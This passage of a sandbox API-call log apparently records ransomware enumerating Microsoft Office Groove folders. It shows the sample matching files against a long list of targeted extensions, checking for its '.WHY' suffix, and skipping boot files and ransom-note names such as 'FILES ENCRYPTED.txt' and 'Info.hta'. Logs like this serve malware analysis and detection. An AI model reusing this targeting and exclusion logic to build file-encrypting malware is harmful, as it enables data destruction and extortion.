(lpString1=".dx", lpString2="gif") returned -1 [0250.973] lstrlenW (lpString=".dxf") returned 4 [0250.973] lstrcmpiW (lpString1=".dxf", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".edml") returned 5 [0250.973] lstrcmpiW (lpString1=".edml", lpString2="n.gif") returned -1 [0250.974] lstrlenW (lpString=".efd") returned 4 [0250.974] lstrcmpiW (lpString1=".efd", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".elf") returned 4 [0250.974] lstrcmpiW (lpString1=".elf", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".emf") returned 4 [0250.974] lstrcmpiW (lpString1=".emf", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".emz") returned 4 [0250.974] lstrcmpiW (lpString1=".emz", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".epf") returned 4 [0250.974] lstrcmpiW (lpString1=".epf", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".eps") returned 4 [0250.974] lstrcmpiW (lpString1=".eps", lpString2=".gif") returned -1 [0250.974] lstrlenW (lpString=".epsf") returned 5 [0250.974] lstrcmpiW (lpString1=".epsf", lpString2="n.gif") returned -1 [0250.974] lstrlenW (lpString=".epsp") returned 5 [0250.975] lstrcmpiW (lpString1=".epsp", lpString2="n.gif") returned -1 [0250.975] lstrlenW (lpString=".erf") returned 4 [0250.975] lstrcmpiW (lpString1=".erf", lpString2=".gif") returned -1 [0250.975] lstrlenW (lpString=".exr") returned 4 [0250.975] lstrcmpiW (lpString1=".exr", lpString2=".gif") returned -1 [0250.975] lstrlenW (lpString=".f4v") returned 4 [0250.975] lstrcmpiW (lpString1=".f4v", lpString2=".gif") returned -1 [0250.975] lstrlenW (lpString=".fido") returned 5 [0250.975] lstrcmpiW (lpString1=".fido", lpString2="n.gif") returned -1 [0250.975] lstrlenW (lpString=".flm") returned 4 [0250.975] lstrcmpiW (lpString1=".flm", lpString2=".gif") returned -1 [0250.975] lstrlenW (lpString=".flv") returned 4 [0250.975] lstrcmpiW (lpString1=".flv", lpString2=".gif") returned -1 [0250.975] lstrlenW (lpString=".frm") returned 4 [0250.976] lstrcmpiW (lpString1=".frm", lpString2=".gif") returned -1 [0250.976] lstrlenW (lpString=".fxg") returned 4 [0250.976] lstrcmpiW (lpString1=".fxg", lpString2=".gif") returned -1 [0250.976] lstrlenW (lpString=".geo") returned 4 [0250.976] lstrcmpiW (lpString1=".geo", lpString2=".gif") returned -1 [0250.976] lstrlenW (lpString=".gif") returned 4 [0250.976] lstrcmpiW (lpString1=".gif", lpString2=".gif") returned 0 [0250.976] lstrlenW (lpString="attention.gif") returned 13 [0250.976] lstrlenW (lpString=".WHY") returned 4 [0250.976] lstrcmpiW (lpString1=".WHY", lpString2=".gif") returned 1 [0250.976] lstrlenW (lpString="attention.gif") returned 13 [0250.976] lstrcmpiW (lpString1="boot.ini", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="bootfont.bin", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="ntldr", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="ntdetect.com", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="io.sys", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="Info.hta", lpString2="attention.gif") returned 1 [0250.977] lstrcmpiW (lpString1="winhost.exe", lpString2="attention.gif") returned 1 [0250.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif") returned 95 [0250.977] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0250.977] lstrlenW (lpString="BG_ADOBE.GIF") returned 12 [0250.978] lstrlenW (lpString=".1cd") returned 4 [0250.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0250.978] lstrlenW (lpString=".3ds") returned 4 [0250.978] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0250.978] lstrlenW (lpString=".3fr") returned 4 [0250.978] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0250.978] lstrlenW (lpString=".3g2") returned 4 [0250.978] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0250.978] lstrlenW (lpString=".3gp") returned 4 [0250.978] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0250.978] lstrlenW (lpString=".7z") returned 3 [0250.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0250.978] lstrlenW (lpString=".accda") returned 6 [0250.978] lstrcmpiW (lpString1=".accda", lpString2="BE.GIF") returned -1 [0250.978] lstrlenW (lpString=".accdb") returned 6 [0250.979] lstrcmpiW (lpString1=".accdb", lpString2="BE.GIF") returned -1 [0250.979] lstrlenW (lpString=".accdc") returned 6 [0250.979] lstrcmpiW (lpString1=".accdc", lpString2="BE.GIF") returned -1 [0250.979] lstrlenW (lpString=".accde") returned 6 [0250.979] lstrcmpiW (lpString1=".accde", lpString2="BE.GIF") returned -1 [0250.979] lstrlenW (lpString=".accdt") returned 6 [0250.979] lstrcmpiW (lpString1=".accdt", lpString2="BE.GIF") returned -1 [0250.979] lstrlenW (lpString=".accdw") returned 6 [0250.979] lstrcmpiW (lpString1=".accdw", lpString2="BE.GIF") returned -1 [0250.979] lstrlenW (lpString=".adb") returned 4 [0250.979] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0250.979] lstrlenW (lpString=".adp") returned 4 [0250.979] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0250.979] lstrlenW (lpString=".ai") returned 3 [0250.980] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0250.980] lstrlenW (lpString=".ai3") returned 4 [0250.980] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".ai4") returned 4 [0250.980] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".ai5") returned 4 [0250.980] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".ai6") returned 4 [0250.980] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".ai7") returned 4 [0250.980] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".ai8") returned 4 [0250.980] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0250.980] lstrlenW (lpString=".anim") returned 5 [0250.981] lstrcmpiW (lpString1=".anim", lpString2="E.GIF") returned -1 [0250.981] lstrlenW (lpString=".arw") returned 4 [0250.981] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0250.981] lstrlenW (lpString=".as") returned 3 [0250.981] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0250.981] lstrlenW (lpString=".asa") returned 4 [0250.981] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0250.981] lstrlenW (lpString=".asc") returned 4 [0250.981] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0250.981] lstrlenW (lpString=".ascx") returned 5 [0250.981] lstrcmpiW (lpString1=".ascx", lpString2="E.GIF") returned -1 [0250.981] lstrlenW (lpString=".asm") returned 4 [0250.981] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0250.981] lstrlenW (lpString=".asmx") returned 5 [0250.981] lstrcmpiW (lpString1=".asmx", lpString2="E.GIF") returned -1 [0250.982] lstrlenW (lpString=".asp") returned 4 [0250.982] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0250.982] lstrlenW (lpString=".aspx") returned 5 [0250.982] lstrcmpiW (lpString1=".aspx", lpString2="E.GIF") returned -1 [0250.982] lstrlenW (lpString=".asr") returned 4 [0250.982] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0250.982] lstrlenW (lpString=".asx") returned 4 [0250.983] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0250.983] lstrlenW (lpString=".avi") returned 4 [0250.983] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0250.983] lstrlenW (lpString=".avs") returned 4 [0250.983] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0250.983] lstrlenW (lpString=".backup") returned 7 [0250.983] lstrcmpiW (lpString1=".backup", lpString2="OBE.GIF") returned -1 [0250.983] lstrlenW (lpString=".bak") returned 4 [0250.983] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0250.983] lstrlenW (lpString=".bay") returned 4 [0250.984] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0250.984] lstrlenW (lpString=".bd") returned 3 [0250.984] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0250.984] lstrlenW (lpString=".bin") returned 4 [0250.984] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0250.984] lstrlenW (lpString=".bmp") returned 4 [0250.984] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0250.984] lstrlenW (lpString=".bz2") returned 4 [0250.984] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0250.984] lstrlenW (lpString=".c") returned 2 [0250.984] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0250.984] lstrlenW (lpString=".cdr") returned 4 [0250.984] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0250.985] lstrlenW (lpString=".cer") returned 4 [0250.985] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0250.985] lstrlenW (lpString=".cf") returned 3 [0250.985] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0250.985] lstrlenW (lpString=".cfc") returned 4 [0250.985] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0250.985] lstrlenW (lpString=".cfm") returned 4 [0250.985] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0250.985] lstrlenW (lpString=".cfml") returned 5 [0250.985] lstrcmpiW (lpString1=".cfml", lpString2="E.GIF") returned -1 [0250.985] lstrlenW (lpString=".cfu") returned 4 [0250.985] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0250.985] lstrlenW (lpString=".chm") returned 4 [0250.986] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".cin") returned 4 [0250.986] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".class") returned 6 [0250.986] lstrcmpiW (lpString1=".class", lpString2="BE.GIF") returned -1 [0250.986] lstrlenW (lpString=".clx") returned 4 [0250.986] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".config") returned 7 [0250.986] lstrcmpiW (lpString1=".config", lpString2="OBE.GIF") returned -1 [0250.986] lstrlenW (lpString=".cpp") returned 4 [0250.986] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".cr2") returned 4 [0250.986] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".crt") returned 4 [0250.986] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0250.986] lstrlenW (lpString=".crw") returned 4 [0250.987] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0250.987] lstrlenW (lpString=".cs") returned 3 [0250.987] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0250.987] lstrlenW (lpString=".css") returned 4 [0250.987] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0250.987] lstrlenW (lpString=".csv") returned 4 [0250.987] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0250.987] lstrlenW (lpString=".cub") returned 4 [0250.987] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0250.987] lstrlenW (lpString=".dae") returned 4 [0250.987] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0250.987] lstrlenW (lpString=".dat") returned 4 [0250.988] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0250.988] lstrlenW (lpString=".db") returned 3 [0250.988] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0250.988] lstrlenW (lpString=".dbf") returned 4 [0250.988] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0250.988] lstrlenW (lpString=".dbx") returned 4 [0250.988] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0250.988] lstrlenW (lpString=".dc3") returned 4 [0250.988] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0250.988] lstrlenW (lpString=".dcm") returned 4 [0250.988] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0250.988] lstrlenW (lpString=".dcr") returned 4 [0250.988] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0250.989] lstrlenW (lpString=".der") returned 4 [0250.989] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0250.989] lstrlenW (lpString=".dib") returned 4 [0250.989] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0250.989] lstrlenW (lpString=".dic") returned 4 [0250.989] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0250.989] lstrlenW (lpString=".dif") returned 4 [0250.989] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0250.989] lstrlenW (lpString=".divx") returned 5 [0250.989] lstrcmpiW (lpString1=".divx", lpString2="E.GIF") returned -1 [0250.989] lstrlenW (lpString=".djvu") returned 5 [0250.989] lstrcmpiW (lpString1=".djvu", lpString2="E.GIF") returned -1 [0250.990] lstrlenW (lpString=".dng") returned 4 [0250.990] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0250.990] lstrlenW (lpString=".doc") returned 4 [0250.990] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0250.990] lstrlenW (lpString=".docm") returned 5 [0250.990] lstrcmpiW (lpString1=".docm", lpString2="E.GIF") returned -1 [0250.990] lstrlenW (lpString=".docx") returned 5 [0250.990] lstrcmpiW (lpString1=".docx", lpString2="E.GIF") returned -1 [0250.990] lstrlenW (lpString=".dot") returned 4 [0250.990] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0250.990] lstrlenW (lpString=".dotm") returned 5 [0250.990] lstrcmpiW (lpString1=".dotm", lpString2="E.GIF") returned -1 [0250.990] lstrlenW (lpString=".dotx") returned 5 [0250.990] lstrcmpiW (lpString1=".dotx", lpString2="E.GIF") returned -1 [0250.991] lstrlenW (lpString=".dpx") returned 4 [0250.991] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0250.991] lstrlenW (lpString=".dqy") returned 4 [0250.991] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0250.991] lstrlenW (lpString=".dsn") returned 4 [0250.991] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0250.991] lstrlenW (lpString=".dt") returned 3 [0250.991] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0250.991] lstrlenW (lpString=".dtd") returned 4 [0250.991] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0250.991] lstrlenW (lpString=".dwg") returned 4 [0250.991] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0250.992] lstrlenW (lpString=".dwt") returned 4 [0250.992] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0250.992] lstrlenW (lpString=".dx") returned 3 [0250.992] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0250.992] lstrlenW (lpString=".dxf") returned 4 [0250.992] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0250.992] lstrlenW (lpString=".edml") returned 5 [0250.992] lstrcmpiW (lpString1=".edml", lpString2="E.GIF") returned -1 [0250.992] lstrlenW (lpString=".efd") returned 4 [0250.992] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0250.992] lstrlenW (lpString=".elf") returned 4 [0250.992] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0250.992] lstrlenW (lpString=".emf") returned 4 [0250.993] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0250.993] lstrlenW (lpString=".emz") returned 4 [0250.993] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0250.993] lstrlenW (lpString=".epf") returned 4 [0250.993] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0250.993] lstrlenW (lpString=".eps") returned 4 [0250.993] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0250.993] lstrlenW (lpString=".epsf") returned 5 [0250.993] lstrcmpiW (lpString1=".epsf", lpString2="E.GIF") returned -1 [0250.993] lstrlenW (lpString=".epsp") returned 5 [0250.993] lstrcmpiW (lpString1=".epsp", lpString2="E.GIF") returned -1 [0250.993] lstrlenW (lpString=".erf") returned 4 [0250.993] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".exr") returned 4 [0250.994] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".f4v") returned 4 [0250.994] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".fido") returned 5 [0250.994] lstrcmpiW (lpString1=".fido", lpString2="E.GIF") returned -1 [0250.994] lstrlenW (lpString=".flm") returned 4 [0250.994] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".flv") returned 4 [0250.994] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".frm") returned 4 [0250.994] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0250.994] lstrlenW (lpString=".fxg") returned 4 [0250.994] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0250.995] lstrlenW (lpString=".geo") returned 4 [0250.995] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0250.995] lstrlenW (lpString=".gif") returned 4 [0250.995] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0250.995] lstrlenW (lpString="BG_ADOBE.GIF") returned 12 [0250.995] lstrlenW (lpString=".WHY") returned 4 [0250.995] lstrcmpiW (lpString1=".WHY", lpString2=".GIF") returned 1 [0250.995] lstrlenW (lpString="BG_ADOBE.GIF") returned 12 [0250.995] lstrcmpiW (lpString1="boot.ini", lpString2="BG_ADOBE.GIF") returned 1 [0250.995] lstrcmpiW (lpString1="bootfont.bin", lpString2="BG_ADOBE.GIF") returned 1 [0250.995] lstrcmpiW (lpString1="ntldr", lpString2="BG_ADOBE.GIF") returned 1 [0250.995] lstrcmpiW (lpString1="ntdetect.com", lpString2="BG_ADOBE.GIF") returned 1 [0250.995] lstrcmpiW (lpString1="io.sys", lpString2="BG_ADOBE.GIF") returned 1 [0250.996] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="BG_ADOBE.GIF") returned 1 [0250.996] lstrcmpiW (lpString1="Info.hta", lpString2="BG_ADOBE.GIF") returned 1 [0250.996] lstrcmpiW (lpString1="winhost.exe", lpString2="BG_ADOBE.GIF") returned 1 [0250.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF") returned 94 [0250.996] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0250.996] lstrlenW (lpString="bg_Casual.gif") returned 13 [0250.996] lstrlenW (lpString=".1cd") returned 4 [0250.996] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0250.996] lstrlenW (lpString=".3ds") returned 4 [0250.996] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0250.997] lstrlenW (lpString=".3fr") returned 4 [0250.997] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0250.997] lstrlenW (lpString=".3g2") returned 4 [0250.997] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0250.997] lstrlenW (lpString=".3gp") returned 4 [0250.997] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0250.997] lstrlenW (lpString=".7z") returned 3 [0250.997] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0250.997] lstrlenW (lpString=".accda") returned 6 [0250.997] lstrcmpiW (lpString1=".accda", lpString2="al.gif") returned -1 [0250.997] lstrlenW (lpString=".accdb") returned 6 [0251.153] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43ce010 [0251.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned 98 [0251.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0251.366] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0251.366] lstrlenW (lpString="Attachments.jpg") returned 15 [0251.366] lstrlenW (lpString=".1cd") returned 4 [0251.368] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NUMERIC.JPG", cAlternateFileName="")) returned 1 [0251.368] lstrlenW (lpString="NUMERIC.JPG") returned 11 [0251.368] lstrlenW (lpString=".1cd") returned 4 [0251.368] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0251.368] lstrlenW (lpString=".3ds") returned 4 [0251.369] lstrcmpiW (lpString1=".3ds", lpString2=".JPG") returned -1 [0251.370] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0251.373] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43ce010 | out: hHeap=0x590000) returned 1 [0251.374] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0251.380] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43be008 [0251.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0251.472] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.472] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0251.473] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0251.476] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43be008 | out: hHeap=0x590000) returned 1 [0251.476] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0251.477] FindClose (in: hFindFile=0x624580 | out: hFindFile=0x624580) returned 1 [0251.477] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4315750 | out: hHeap=0x590000) returned 1 [0251.477] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, 